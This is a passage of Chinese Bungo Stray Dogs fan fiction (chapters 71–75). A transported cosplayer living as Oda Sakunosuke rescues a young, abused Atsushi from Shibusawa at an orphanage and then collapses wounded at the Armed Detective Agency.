那么问题来了,这样强大的时空间能力加上预知未来的能力……坂口安吾是经过异能特务科培训的,第一课教的就是其他国家中拥有的最高战力、世界战斗力天花板们[超越者]的事迹。织田作这样强大过头的表现分明就是…… 超越者啊。 ‘属于他们自己国家的超越者。’ ‘……还是最特殊的时空间兼预知系!’ 坂口安吾现在喉咙干涩,心脏在胸膛中砰砰加快了跳动,他不敢抬起眼帘,只能装作不在意的用眼神扫了一下:“……” 红发男人还是面瘫木讷的模样,看起来普通极了,那双灰蓝色的眼睛关心的注视着他,问: “安吾,感觉怎么样了?” 语气——普通的就像是朝夕相处的朋友间正常打了个招呼似的。 “呃,嗯。”坂口安吾拘谨的从汽车后座中起来,站起来的时候还摇晃了一下,头晕目眩。 在看到明媚的蓝天和红叶飞扬的时候——他被这个震撼的事实再次击中了: 天啊,他居然和一个超越者是朋友! 必须马上上报! 不、不对。 坂口安吾迅速冷静了下来。 异能特务科是怎么教的?超越者是每个国家最珍稀宝贵的重要资源,有了超越者,才是国家屹立在世界上拥有话语权的表现。如果织田作真的是超越者……比起上报,他必须以织田作本人的意愿和情绪为最优先级。 这才是他该做的事。 少年一瞬间理清楚了自己的思绪,冷静得可怕。 …… “……?” 我不知道是不是我感觉错了,自从少年安吾醒过来,他的模样就怪怪的。 是读取记忆的中途哪里出了差错吗? 我心中不安,一只手伸进口袋按在了笔记本上,快速回忆了一遍应对,安下了心。 没错,安吾读取到了我在这几个世界中与他有关的经历,但是与[书]相关的片段都被掩盖了过去,没有半点遗漏。他或许会有疑问,但是他不会知道我最重要的目的。 “先去吃饭吧。”我看着面面相觑的太宰和安吾,两个孩子之间的氛围古怪尴尬,谁都没有再说话,主动提议。 无赖派变成了少年组,没办法去酒馆喝酒联络感情了,那就变成饭局了。 我们回到了之前吃过的那家很不错的海鲜餐厅,琳琅满目的点了一些美食。 太宰治垮着脸看着送上来的不少螃蟹制品,心情总算回升不少。 “织田作……”男童幽幽地控诉的看向我,大声抱怨着吐露出他刚才在不开心什么,“安吾知道的居然比我还多!” 明明是他先来的,但是坂口安吾作弊!- 作者有话说: 这个少年安吾被瞒住了所有与[书]有关的片段,自然而然得出了这样的猜想hhhh 不过拥有[书]的主角现在的能力的确看着很强大唉。 【今天外面广场上有跨年晚会表演,惨叫,巨大的声音通过广播灌进耳朵,逃都逃不掉,这一章写得我思维混乱,都快不知道自己在写什么了。等结束了我好好检查一下……吐魂】 第72章 见幼年敦 我伸出手, 生疏的想揉揉太宰治的头发,再去安慰些什么。 在这一瞬间,异能力“天衣无缝”竟然发动了。 ——男孩不自然的游移着眼神, 在我的手掌落在他的发顶前一瞬侧了侧身体,半避过去了这次安慰, 猝不及防似的。然后掩饰的别扭喃喃着:“说什么我们三个经历过不少冒险……织田作还没有告诉我呢。” 我的手顿了一下。 这副场景让我不得不想到了文野舞台剧里的一次画面:当黑时宰呢喃着想要就此睡去的时候,织田作之助真心的想给他的脑袋一拳头, 这促使“天衣无缝”发动了。在未来的短暂几秒里,黑时宰抱着脑袋喊痛, 大声抱怨, 褪去了原本特地的疏离, 鲜活的抱怨着自己的真心。 但最终, 织田作之助只是去安慰的抚摸了他的发顶。这样的温情举动被太宰治不自然的躲开了,只用一贯的玩笑抱怨掩盖那一瞬的无措。过后的结局, 更是一切再难以挽回。 彼时的黑时宰和织田作互相没有诉说出心中的想法, 也没有表达出来自己的真实意愿。黑时宰的仓促躲避是因为他不擅长面对这样的真心。 幼宰现在的躲避又是为了什么? 从最开始我与太宰治的相处开始……我们就不像是成年人那样互相注重分寸和距离感,孩童的身份还是很特殊的,所以这样的摸头很正常。突然的别扭躲避, 配上这样一句话…… ——是撒娇吗? 我后知后觉的反应过来。 这段时间我和男孩的相处很自然,但我从来没有忘记, 幼宰也是太宰治, 不管他玩得有多开心, 和我怎么打闹, 这一切都无法疏解他的孤独和无聊。他只是在放任自己的好奇心发展, 沉浸在这份新鲜刺激的横滨冒险中而已。 “未来朋友”的分量,和他的父亲,他的兄弟们, 他的保姆的分量差不多,都是一样的。 但现在…… 太宰治等了半天,头顶上的手掌都没有落下。男孩气得表情逐渐沉郁了下去,两颊却相反的鼓了起来。 “织田作在想什么?”男孩幽幽的追问着,半点都不掩饰脸上的气愤,眼神嗖嗖的开始往对面扔过去,“——都怪安吾!” 无辜被骂的坂口安吾:“?” 眼镜少年很是冤枉,织田作先生莫名其妙的在准备安慰太宰的时候停下了动作,骂他干什么啊。 不愧是情绪反复无常的太宰,和记忆里的港///口黑//手党老大一样难搞! “我在想,什么时候可以看到太宰撒娇的样子。”我停滞的手掌继续落下,用力的揉了揉太宰治的头发,陈述的语气四平八稳的,打出了个直球。 原本准备不自然躲一下摸头的太宰听到了这句话,表情顿时有了裂纹,身形僵硬住了,一时间躲也不是,不躲也不是。 男童眨着眼半天说不出话来,噎的难受。 太宰:“…………” 笔记本那边的首领宰:[……] 不知道又发来了什么消息。 说来也是奇怪,自从我来到了这个世界,首领宰就沉寂了下去,发的消息大多数都是没有什么含义的凌乱墨点呢。 “我们接下来要去哪里?”在短暂的一瞬安静后,太宰治很仓促的转移了话题,竭力装作若无其事的模样。 安吾少年看了看挂在餐厅大堂墙上的时钟,歉意的推了一下眼镜:“时间不早了,我要给家里打个电话,说晚回去几个小时。” 他看起来也乐于和我们两个“未来朋友”接触。 “回集装箱,安吾今晚也留下过夜吧。”我邀请着,对于这个年纪的少年们来说,住在野外集装箱改造房的诱惑不是谁都能抗拒得了的。安吾当然也没能忍住,应了下来。 等安吾离开后。 虽然太宰没有明着问出来,但我还是暗示的告诉他:“明天我们一起去横滨拜访别的朋友。” 男童失望的“嘁”了一声,明白了。 ——我与坂口安吾握手的那一瞬间就知道了,这个世界的[书]也不在他身上。 夜风清爽而寒凉。 入夜的横滨看起来熟悉又陌生,我驾驶汽车载着两个少年返回废弃工厂的时候,路上看到不少黑西装匆匆忙忙的跑过,厚重的西装下是枪//械碰撞的沉闷声响,不知道要去做什么。街上早已经没了多少路人的身影,十分冷清。横滨回归到了黑色的那一面世界。 有一瞬间,我仿佛觉得自己从来没有离开beast世界。 车灯照亮了废弃工厂的门口,有一大一小两道身影伫立在那里。 是社长带着江户川乱步。 “有线索了?”后座上兴致缺缺的太宰治突然直起了身体。 “织田作先生,你是想见到那个叫中岛敦的孩子吗?”安吾少年揣测的问着。他看过了记忆,也就知道我拜托了社长帮忙去查一所孤儿院里某个孩子的事情。 虽然拜托的借口是“有一本书在对方那里”。但清楚了这个织田作之助是从别的时间和空间上来的,安吾少年就明白了,书只是个借口。那位中岛敦不管在哪个世界里,都和织田作先生有过关联。 “啊。”我简单回答着,“这个时间的敦君过得不好。” 寻找[书]是我的目的。 但看望年幼的中岛敦也是——那位孤儿院院长教导中岛敦的做法过于简单粗暴,那是他身为一个普通人的极限了,但如果有了其他异能者的关注,情况总会好上一些。 我们三人下了车,乱步神气的抬起眼帘:“大叔,我说对了吧,他们晚上才回来。” “织田先生。”社长正色颔首,告诉我关于他们调查出的孤儿院相关的消息,视线却忍不住的从安吾身上扫过,眼神还是有些怪异—— “也是诱//拐来的。”江户川乱步脱口而出,很是笃定。 我:“……” 再结合接下来去探望中岛敦的事实,在这个世界里,我变成诱//拐/犯的身份看来是洗不清了。 安吾少年忍不住分辨两句:“织田作先生是好人。” 他的模样过于谨慎小心了,像是beast世界里刚面对港//口黑//手党首领的安吾。我想,也许这就是安吾和人还很生疏时的表现吧。 社长和乱步只是来送信的。 我对他们道谢后,决定趁着夜色开车去孤儿院探望——中岛敦幼年时能力不稳定,总是在夜间发作。如果想要撞见,最合适的时机就是夜晚了。 “大晚上过去吗?”太宰治懒洋洋的躺在后座上,脑袋枕着双臂,小脸上浮现出了几分好奇,眼珠一转就猜了出来,“他也有异能力?” 安吾少年回忆了一下记忆,情不自禁看向开车的红发男人,回答:“他能变成老虎,战斗能力很强。” “你看见什么了?”太宰也顾不上别扭了,从安吾少年这份怪异眼神中窥到了什么,一下子来了精神。 安吾少年又停顿了一瞬,没等到红发男人说什么,就安心的放低了声音,嘀嘀咕咕的把他从织田作先生衣袖上看到的画面都说了出来: “……织田作先生被抓进了黑//手//党的地牢里。” “哇哦,有意思!” “来审问的人就是中岛敦……” “什么什么?还有呢?” “……”安吾少年沉默了,这次他的眼神不住地飘向太宰治。太宰反应了过来,表情不见惊讶:“我也在港//口黑//手党里和织田作初见了?” “你就是首领。”安吾艰难的吐出几个字。 男童的眼眸微微睁大了。 首领太宰治指使中岛敦去审问被关进港/口黑//手党地牢的织田作之助? 那是哪个世界的发展? 就算太宰治通过之前的只言片语猜测到了未来的走向——他们所有人都在横滨活动,以港/口黑//手党为地盘,不知道是主动还是被迫的在黑暗中行走着。太宰治都想不到,自己或者某个世界中的自己有一天会成为黑//手党的首领。 他? 主动的吗? 太宰治不信。 “另外一个世界里,你是侦探社的成员,中岛敦是新入社的社员,你们的关系也很好。”安吾没忍住多说了一句,“就连狗狗世界,你和敦犬都是一起行动的。” “……”我听着后座上太宰的不断惊叹捧哏,还有安吾少年憋久了不吐不快的各种往外甩情报,安静开着车,悄悄降低了存在感不去打扰他们。 挺好的。 等到我走了,中岛敦也会成为这个幼年太宰的友人之一吧。 …… 那是位于乡下的一座孤儿院。 等我对照着地图把车开到地方的时候,坂口安吾和太宰治在后座上已经睡得东倒西歪,没有声音了。 天边都泛着一抹白,凌晨的空气比深夜更清冷,我揉了揉通宵后干涩的眼睛,感觉有点棘手。 失策了。 时机没找准,这个时间就算是月下兽,也该折腾累了变回来了吧? 破旧的小院被铁栏杆封锁着,我把车停在门口,没有打搅睡得很沉的两个少年,独自下车。铁栏杆上隐约有一丝暗红色,嗅嗅空气,也有若有若无的血腥味飘来。 让人意外的是,铁栅栏门是虚掩着的。 我没有犹豫的走进小院,没有惊动任何人。 这栋有着英国风格的老旧教堂建筑外,有着鸡棚和水井、田地。四处都是孩子们劳作的痕迹,角落里放着农具和大捧的稻草。远处是一间单独的工具间——那更像是用薄木板制成的简陋小屋,有一丝光线从中透露出来。 我悄无声息的透过缝隙向里面看去。 让人意外的是,小屋里摆放的物品和装潢却很现代,头顶是悬挂的荧光灯,一排排柜子上放置着什么资料与工具,电脑屏幕散发出蓝盈盈的惨淡光芒。地上随意搁置了几股粗的电线,不知道通到了什么地方去。 我的目光骤然凝住了:“……” 小屋正中间只有一把椅子。 ——六岁的白发孩童被绑在上面紧闭双眼,脸颊上是没有褪去的泪痕,即使已经失去了意识,他还是眉头紧蹙着,睡得很不安稳的样子。 第73章 这就是幼年时期的中岛敦的生活吗? 我推门走进去, 破旧的木门发出的“吱呀”声响也没有惊动沉沉睡去的男孩,走近后看得更加清楚。斜刘海的白发孩童被几根带子紧紧地束+缚在座椅上,地上的电线一头连通的就是男孩, 贴片粘在他的额头两侧,手腕与腿上。另一头…… 我的视线看向屋子四周。 ——连向了那些我看不懂的笨重大部头机器。 笔记本突兀的嗡嗡提示了起来, 急促的响成了一片,但我现在没有查看的机会。 “这是制造电=击的装置。”安吾少年凝重的声音从我身后响起。 我回头望了一眼, 安吾少年和睡眼惺忪的太宰不知道什么时候跟了过来。目前正在上国中、成绩优异的安吾少年对现场的状况看得更明白一些,他的眉头皱得几乎打起了结, 小心谨慎的避开地上的物品, 走过去伸手抚摸了一下男童太阳穴上的贴片: “……到底发生什么事了?孤儿院居然会这么虐待敦君。” “原因很明白吧。”太宰治打了个哈欠, 表情淡淡地, 没什么意外的说着。 他虽然年纪小,一直待在津岛家没有学习到这部分机械的知识, 但那双透彻分明的鸢色眼瞳对世事总是看得清楚, 把一个拥有异能力却无法自保的幼小孩童放在孤儿院这种地方,一旦暴露,会有这样的下场也是可以预见的。 下一瞬间, 坂口安吾在短暂的目光恍惚后回了神,脸色大变:“织田作先生, 快走!” “这里的院长请来了一位老师教他掌控异能力, 但那个男人——他其实在打敦君异能力的主意!他还没有走!”安吾急促的说着。 在那一瞬间, 他发动的异能力看明白了存在于这所孤儿院里的日常, 以及年幼的中岛敦身上近几年发生过的所有事情。但焦心的是, 就算安吾意识到有个人在暗地里图谋不轨、到现在还没有离去。安吾的示警也需要花费时间。 ——而我在安吾的话脱口而出的时候,身形已经骤然后退了。 不是我的反应速度飞快,而是当首领宰的提示焦灼的接连响起, 下一秒我听到小屋里的这些机器都是电-击装置时,剧场版的记忆已经袭了上来——这里分明就是涩泽龙彦觊觎中岛敦异能力的时间点! 浅薄到几乎看不见的雾气不知道什么时候在小屋中开始弥漫。 “砰!” 下一刻,枪击声与我的躲避同时发生。 熟悉的“天衣无缝”却没有出现给我提醒,只有一抹尖锐的剧痛袭击了我的大脑神经,从左肩膀上蔓延开来,一路麻木。 “织田作!”“织田作先生!” 太宰的表情猛然变了,安吾也发出了凝重的叫喊声,在嘈杂的呼喊中,笔记本反而突兀的安静了下去,再也没有动静。此刻所有的外界讯息都透着一种压抑的山雨欲来的危险不详感,混合交织成了一道简单的耳旁嗡鸣声。 “……” 我捂着左肩膀狼狈的跪倒在地上,空气都从肺中被挤了出来,在静止了两秒钟过后,我才从这阵突如其来的疼痛感中恢复了呼吸,入眼的只有捂住左肩膀的那只手掌上的鲜红颜色和令人讨厌的濡湿感从衬衫里慢慢浸透出去。 抬起头。 红色的半透明身影是织田作之助的模样,额头上的红宝石熠熠生辉,它用无机质无感情的目光望了过来,手中举着的枪刚刚放下——刚才的攻击,就是它发出的。 不妙了啊。 ——这个身影。是从我身上被剥离出去的异能力,“天衣无缝”的具现化。 我的心脏缓缓下沉了。 如果是真正的织田作之助在这里,凭借他身经百战的身手、身为顶尖杀手的战斗意识,也许可以对抗得了自己的异能力。但,我只是一个coser,是一个身手生疏、从和平世界前来的冒牌货,我只能勉强避开瞄准心脏的攻击,改成伤在肩膀上。 ……我该怎么击败能够预知战斗的“天衣无缝”? “织田作!” 太宰扑了过来,第一时间攥住了我的手臂,避开了受伤的左肩膀。但是他的触碰没有起到任何作用,红色身影仍然面无表情的待在那里,散发着死神一样的压迫感,它不言不语,又开一枪。 男孩脸色骤变。 “别动,织田作!”他厉声喝道。 “砰!” 我全身僵硬的强逼自己顿住了,手脚发冷。 硝烟味与灼热的刺痛感划破了我的下巴皮肤,留下一道血痕,那枚子弹贴着我的脖颈擦过——死亡的气息前所未有的扼住了我的咽喉,心跳快得不同寻常,我似乎已经听到了胸膛里的声音:“砰砰,砰砰,砰砰。” “织田作先生?!”安吾少年脸色惨白,向这边踉跄两步,却又被突如其来的袭击逼得倒退回去。 他猛然回头,另外一个半透明的灰色眼镜少年身影无悲无喜的站在那里——是他的异能力“堕落论”对他发动了攻击。 我的额头上渗出了细密的汗渍:“……” 如果不是幼宰的提醒,我原本是想躲避这次袭击的,虽然我明知道“天衣无缝”可以预知未来的战斗景象,但我并不清楚它看到的画面是怎样的未来,我在电光火石间避开了自己的第一选择所进行的第二选择会不会仍然被它预见? 我别无选择,在刚才那一瞬间只能咬牙赌上一次。 ——答案是肯定的。 如果我刚才真的进行了躲闪,那枚致命的子弹就不会从我的下巴旁擦过,而是穿透我的脑袋了。 在预知中,“天衣无缝”已经看穿了我的两次想法所做出的反应。 怎么办? 黑洞洞的枪口仍然不偏不倚的对准着我,死亡的气息仍然如影随形的追踪着我。我的喉咙干涩的绞紧了。 刚才是幼年的太宰提醒,帮我险而又险的避开了危机。但下一枪随时可能到来,有了新的预知,太宰也会陷入危险,留给我的思考时间不多了。 从穿越以来,我没有遇到过这样的危机,因为我从不参与那些世界中的纷争,甚至会依据剧情小心避开,绕着“太宰治”和“江户川乱步”走,我所有的目的都只有[书]这一件事。 是穿越太久,我开始大意了吗? 不。 是认识了首领宰,有了Beast世界这个归属后……我不愿意再躲避那些剧情,假装对它们视而不见。 落入这样的境地是迟早会有的事情。 ——如果使用[书]。 一切都不会是困境了。 在这个时候,我的手指情不自禁的隔着风衣按在了笔记本上。 这个软弱的念头从刚才遇袭就先浮现了上来,又被我下意识否决了,直到现在…… “——织田作先生!你的伤不要紧吧?!” 安吾少年的焦急有些过头了,他拼尽全力,还是没有办法过来,只能浑身狼狈的与对面半透明的“眼镜少年”对峙着。好在坂口安吾的异能力不是战斗系的,他自己也提前经历过异能特务科的锻炼,战斗勉强还能僵持。 安吾少年似乎想说些什么,欲言又止,焦急坏了,忌惮的死死盯着“天衣无缝”。 …… 【[书]可以做到很多事情。】 【——但现在不能使用[书]来度过危机。】 心脏在对我这样说着,我清晰地意识到了这一点。 从穿越以来,我只使用过[书]本身的特性来穿越不同世界、屡次掩盖我的过去经历、以及和首领宰通过书页对话。我想要集齐所有的[书],将那些脆弱的可能性世界保护起来,不让有心人在上面涂涂改改,毁去世界。如果连我自己都动手了,还有什么区别? 我的手指从笔记本上移开了,有些颤抖。 ……涩泽龙彦到底在哪里? 如果不找到他的本体,太宰的异能力也无法发挥作用。但我能撑到那个时候吗? 我的视线落在了满脸凝重的男童身上,做出了决定:“太宰,保管好它。” 就让我看看吧。 “这是——”太宰错愕的看着被不容置疑塞进他怀里的笔记本。他的鸢色眼瞳颤动了一下,已经意识到了什么。 “……”男孩手指用力的抓在了笔记本上,五指的指尖都抠得发白了。 我松开了一直紧捂着的左肩膀,在地上打了个滚到了椅子旁边,扯开中岛敦身上的绑带,夹起他向后退到了角落里。 “不要动。”我冷声警告着未知的某人。 笔记本是一层“伪装”,就算幼宰拿在手中翻看,也不会变成[书]的模样被他使用。如果我今天死在这里,幼宰就是这些世界的最佳守护者,包括了首领宰所在的Beast世界。他会保护好它们的。 很抱歉。 我也在心里对异常安静的首领宰说着。 我只是个冒牌货,不是真正的织田作之助。虽然死亡会让我惧怕和很不甘心,但是万一死了——我的计划都可以达成,也和首领宰交上了朋友,已经不枉我穿越一次。只是对不起友人。 是的,到了这一刻我仍然卑劣的希望他把我视作友人。 我紧紧攥着中岛敦细弱的胳膊,喉结艰涩的滚动了一下,对男孩暗中说了一声抱歉—— 这是我最后的赌注了。 没有了“天衣无缝”,我看不到未来的确定答案,但我仍然在赌。 ——我在赌暗处的涩泽龙彦割舍不下对中岛敦的好奇心和窥伺。 白雾中一片死寂的安静,只剩下安吾少年略有急促的喘气声。 “天衣无缝”垂下了枪口,果然沉默的停止了攻击。 几秒钟后,有一个纤瘦的白色人影推开破旧的小屋木门,优雅的缓步出现在我们面前。在他的背后,是空旷的院子,那里果然早已经变成浓郁的一片白雾,连不远处的孤儿院建筑主体都看不清了。 “啊,今天的收获很不错。”涩泽龙彦轻笑着说,苍白的双手轻轻的鼓着掌。他的视线缓缓扫过屋子里的“天衣无缝”,“堕落论”和我们四人, “……居然碰到这么多有意思的异能力,你的异能力也分解不出来呢。” 男人妖艳的红色眼睛像是毒蛇的信子一样,最后落在了太宰治身上- 作者有话说: 是少年组无赖派应战涩泽龙彦?) 第74章 终结涩泽龙彦 被涩泽龙彦盯上的男童表情乖巧无助而惶恐, 攥着拳头站在原地,他强撑着的肩头有些瑟缩颤抖,沉默不语着。 模样装的很乖的太宰治眼瞳中却没有半点波动, 沉寂一片,那是极致的冷静。 他明白在这一刻他该做些什么了。 安吾少年和他交换了个眼神就明白了过来, 会意的继续冷声质问着、试图发挥平时的所学:“——你可以剥夺别人的异能力,到底是什么人?!你为什么会盯上中岛君?” “我……是一名特殊的收藏家。”涩泽龙彦轻声细语的说着, 目光一寸寸的上下打量着太宰治,挑剔而审视, 像是在检阅自己最新的完美宝石。他却优雅的按住胸口自我介绍着, 口中很好说话, 温和的对少年有问必答着, “我的名字叫做涩泽龙彦。我的异能力‘龙彦之间’可以分解出异能力者的能力,把它们变成我的珍藏品来操纵。” “至于敦君……让我想想, 是有一位好心的俄罗斯人告诉我, 敦君拥有吸引所有异能力者前来窥伺的最强异能力。这是真的,就连我的异能力也无法将它分解出来。呵呵……我没有见过这么有趣的孩子。” 涩泽龙彦感兴趣的笑了两声,他的相貌妖异, 皮肤苍白,手指纤长而优雅, 再加上穿了一身版型裁剪很好的白色礼服, 搭配上耀目瑰丽的红色眼眸, 整个人都不像是世间会有的普通生灵, 周身像是在发着光。 “但现在, 居然还有第二个孩子不受我的异能力影响……这里真是一处宝地啊。” 涩泽龙彦欣赏的端详着太宰治的面孔。 他向前走了一步,幼年的男童像是吓傻了似的,在原地一动不动, 没有高光的鸢色眼眸怔怔的仰头望着他。 我趁机不动声色的捏了捏中岛敦细弱的手腕。 被我揽在身前的男孩微弱的动了动,却保持着闭眼,没有任何反应,只有紧绷起来的身体和略有急促的呼吸证明了中岛敦已经醒来。 我趁机低声交待了他什么。 中岛敦的身体更僵硬了,四肢上几乎写满了肉眼可见的抗拒和害怕。 涩泽龙彦却没有继续向前。这也是理所当然的,涩泽龙彦本人虽然拥有非常多的收藏品和强大的异能力,但他的本体却很脆弱。在没有确定新的孩子的异能力之前,涩泽龙彦不可能贸然靠近。 白发的男人视线一转,“堕落论”上前拉扯住太宰治,要把他往椅子的方向拖——就在那一瞬间,我抱起中岛敦向“天衣无缝”扑去,从风衣下掏出了仅存的手//枪,射击。 “放开太宰!”我刻意说着。这是我唯一能给他们提供掩护的机会了。 “砰,砰。”红色的虚影游刃有余的躲过了所有的攻击,他举起了枪,却因为中岛敦的存在而有一瞬间的停滞。 我放下了中岛敦,拼命抱住了“天衣无缝”拿着枪的那只手臂,与他扭在一起搏斗着。落在地上的白发孩童害怕极了,一边大叫着一边紧紧抓住“天衣无缝”的另一只手臂,整个身体都挂在了红色身影的身上:“哇啊啊!” 发软的声音都打颤了,还是一点都没有松手。 是勇敢的孩子。 “砰,砰!”“砰!” 浅色的风衣扬起,混乱中,枪声响起,不知道是谁先开的枪。有一枚子弹正中红发男人的额头,水晶形状的红宝石寸寸碎裂,半透明的红色身影人注视着我,在静默中,渐渐消失了。 但这些已经不要紧了,我和中岛敦的举动吸引走了涩泽龙彦的注意力。在同一时间,抓住太宰治的半透明虚影眼镜少年像是融化了似的消失无踪,“堕落论”失去了联系。 涩泽龙彦的表情微变,头都还没转过来,红宝石似的眼眸已经亮了起来。 ……这是,他的异能克星! 没等他反应过来自己碰到了多么有趣的异能力,太宰和安吾少年飞快的碰了碰眼神,已经一同向他扑了过去,把白发男人撞倒在地上。 “织田作先生!”安吾少年的眼镜都摔在了地上,他咬牙叫着求助,脸都憋红了。半大少年和孩童的力气想要制止住一个成年人还是太困难了。 “我抓住他了。”太宰迅速地说着,目光冷静,他半跪在地上,死死的用双手扼住了白发男人的脖颈,紧贴着皮肤。 “先生?你还好吗?”中岛敦担忧的小声问着。 “敦君,去帮他们。”我咕哝着,举起枪对准了涩泽龙彦,平复气息,努力去稳住手腕。 状态不太好,我现在不能保证自己的准头,我的水平原本就很普通,万一抖了一下,误伤太宰就不妙了。 所以我谨慎的向前走了好几步,一直走到被三个孩子七手八脚绊在地上的涩泽龙彦面前,他还在不断挣扎着,额头上却抵住了冰冷的枪=管。 “这是……让异能力消失的异能力!”涩泽龙彦全然没管他头上的枪口,只是欣喜若狂的叙述着自己的发现。 他不甘心的注视着眼前的黑发男孩,眼眸中的渴望与期盼几乎凝结成了实质,在那一瞬间,他还想说些什么。 “砰。” 杀人是什么样的感觉? 以前的我不知道,但这一刻的我清楚的意识到,不管涩泽龙彦在未来如何受到官方政府的器重,如何杀害异能力者们而备受纵容,现在的他,必须死在这里。 不然中岛敦,太宰治,坂口安吾,三个孩子的安危都会受到威胁。 我有杀人的觉悟吗?没有,穿越前的我连鸡都没杀过,但现在好像不需要这些东西。 ——我面无表情的开枪了。 白发男人浑身一震,瞳孔逐渐散大,他倒在地上不动了,只有眼眸中还残留着没有褪去的遗憾与亢奋。几个男孩都脱力的坐在地上,长松了一口气。 但是下一刻,白光重新从男人身上亮起,逐渐凝聚成型。 同样是白发男人的“虚影”无知无觉的闭着眼睛从尸体上浮现,身影逐渐凝实清晰。安吾少年狐疑的戒备着问:“这是什么?” 我阻止了太宰想再次触碰他的想法:“——等等,让我来。” 一个是操纵收容其他异能力的异能,一个是消除其他异能力的异能。如果现在让太宰来触碰,在这里形成特异点就糟糕了。 我举起枪,深吸了口气稳住天旋地转的感觉,竭力对准那个实体异能力,射出了枪中的最后一发子弹。 杀一次也是杀,杀两次也是杀,我已经不在乎这个了。 “砰!” 一切都结束了。 …… “织田作?”“织田作先生 !”“院长……救救他,是那个人要杀了我们……” 嘈杂的声音在我耳边响起,但我半跪在地上,摇晃着已经有些集中不了精神了。 低头看下去,胸前一片鲜红。 “明明中了三枪,但是已经感觉不到痛了吗?”我喃喃说着,感觉非常神奇。 “天衣无缝”的手段非常干净利落,每一击都是冲着毙命去的。第一枪击中了我的左肩膀,但是后面的混乱中我却不知道被击中了哪里,只是凭着本能反应躲避了几下。 ……原来,是胸口啊。 “织田作,织田作!”太宰从胸前衣服里把保护完好的笔记本取了出来,攥住我的衬衫领子急迫地质问,“这个要怎么用?” 男孩的眼中惶然紧张,额边沾染着冷汗,那绝不是他以往万事都不在意的模样。 在战斗之前,我害怕着死亡。但是中枪后的现在,我却奇异的平静了下来,心里还有空隙想些别的事情—— 这个世界的[书]也不在中岛敦的身上,奇怪了,还会在哪里? ……在开枪之后,我才意识到,我不在乎“写书”和“杀人”之间的联系。自己的人生就是我自己所书写的重要小说,我果然不是真正的织田作之助啊。但是,如果能回去的话。要怎么对首领宰解释? 如果能回去的话…… 现在的样子太逊了。被首领宰看到,会不会又勾起糟糕的记忆了? 唔,还是不希望事情发展成这样。 “……”我脑中想着乱七八糟的事情,感觉到自己的思绪越来越活跃发散,逐渐集中不了精神了。 男童的声音染上了火气:“织田作!” “我有办法的。”我安抚的说,吃力的接过我的笔记本。 孤儿院院子里的迷雾已经散去了,清晨的阳光下,我看到白发孩童满脸带泪的跑去了教堂式建筑的门口,院长和其他听到动静不敢出来的孩子们都在那里站着,中岛敦正在苦苦哀求院长救人。 院长远远注视着我的伤势,沉默的垂下眼帘,不知道该说些什么。 安吾少年和太宰治一左一右的在我两边,手足无措的紧盯着我。 “我会离开一段时间。”我叮嘱着两个年幼的友人,“等伤好了,我才可能回来。” 都还没有找到这个世界中的[书]呢。 我抓紧了笔记本,想要发动能力。下一秒钟,太宰治突然紧紧攥住了我的手腕,他盯着我的眼睛,一眨不眨的确认:“织田作——你会回来,真的吗?” “啊。”我对他保证。 男孩缓缓松开了手。 我发动能力,熟悉的白光在我眼前闪耀,在我逐渐变黑的视野中留下一道道光怪陆离的光斑。 我没有说谎—— 就算是这样的伤势,还有一个人可以救我。 但想要抵达合适的时间,合适的地点去寻找她,无疑只有一个地方最吻合。 ——我降临在了主线世界的武装侦探社门前- 作者有话说: 是的我终于想到了怎么接触主线的办法—— 第75章 濒死——请君勿死 刚一落地, 身形已经不受控制了。 我贴着武装侦探社的门缓缓滑落,向前栽倒。 “……”喉咙里发出了气音,却凝聚不出更多的力气说话, 那些伤口已经带走了我太多的血液和温度。 真狼狈啊。 “咦?”武装侦探社里的宫泽贤治耳聪目明,站直了身体疑惑的转向了门口的方向, “有客人拜访吗?” 他走了过去。 在武装侦探社里,充当开门迎接客人的接待员也是一个危险的工作。因为你不能判断出现在门外的是正常的客户, 还是凶神恶煞的敌人或者黑//手党。 “哦呀!”宫泽贤治拉开门后,看到一个倒在血泊中的身影, 红发男人黯淡的眼神接近涣散, 动了动嘴唇, 似乎想说些什么, 身旁还掉落着一把带着硝烟味的手=枪。 明白了! 宫泽贤治的脑袋上亮起了灯泡,恍然大悟。这样的客户也不是没有过, 他回过头, 扬声向武装侦探社里喊着:“与谢野医生!有重伤员哦!” 这一嗓子嘹亮清晰,穿过大半个武装侦探社,谷崎直美贴心的站起来, 去医务室敲了敲门。 “嘿咻……”宫泽贤治小心翼翼的把红发男人扛了起来,“请大家让一让!” 虽然他的力气很大, 但他并不是天然到有害的无知孩童, 面对这样几乎只剩一口气的重伤员, 贤治就算是把人扛起来的动作也不敢幅度太大。 门口的骚动引起了侦探社社员们的注意力。 “嘶……伤的也太重了, 这是怎么撑着过来的?”谷崎润一郎摸着后脑勺的头发, 有些幻痛。 两个文员小姐窃窃私语着,从储藏间取来了拖把和水桶,讨论着门口一地的血污:“……不太好擦啊。”“先用水冲洗地板吧。”“拖把也要报废了呢。” 穿着沙色风衣的太宰治躺在他一贯摸鱼的沙发上, 闭着眼睛听歌,没有半点反应,好像所有的杂事都打扰不到他,又像是掌握着侦探社内各种事务的进度却从来不主动上心。 “——门口的痕迹不要动,等太宰看过了再清洗。”江户川乱步的声音从他独属的桌位后突然传了出来,及时阻止了两位文员小姐。 嘴巴里嚼着零食的侦探睁开了翠绿色的眼眸,严肃的站起来注视着被贤治带过来的重伤员,他把视线转向了小沙发:“太宰,你看看这个。” 察觉到异常的武侦宰已经向这个方向睁开了眼睛,两双眼睛对上。 只有一瞬息的对视,却好像交换了什么信息。 在这一秒里,武侦宰恢复了正色,心情也发生了变化。好像已经有某种未知的预感在提醒着他,不要转过头去,又像是在急促的提醒着他,回过头去看看。 他最终还是转过了头,视线在被贤治带去医务室的那抹熟悉的人影身上定格。 武侦宰:“……” 表情在这一瞬间凝固了,连瞳孔都再也没有变化。 『织田作,那我该怎么办才好?』 『去救人吧。』 『帮助弱者,保护孤儿……』 『既然光明和黑暗对你来说没有区别,那就去救人的那一边吧。』 熟悉的对话仿佛又在耳边回响了起来。 友人虚弱的声线和满手温热的血迹渐渐低了下去,怀中只剩一片沉寂。 这一幕好像又回到了那一天。几乎让人怀疑四年的时光根本没有流逝,一切都还停留在昨日。 武侦宰脸上失去了所有的表情,站了起来,一言不发的大步走向医务室。 “……太宰先生?”中岛敦总是可以很敏锐的察觉到别人的情绪,他不安的抬起头观察着青年。尽管不知道发生了什么事,但中岛敦的视线也看向了医务室,小声的向身旁的前辈请教,“国木田先生,太宰先生认识那个重伤员吗?” 他的直觉告诉他,那似乎是个对太宰先生来说很重要的人。 国木田眉头微蹙,没有给出一个答案:“……谁知道。” 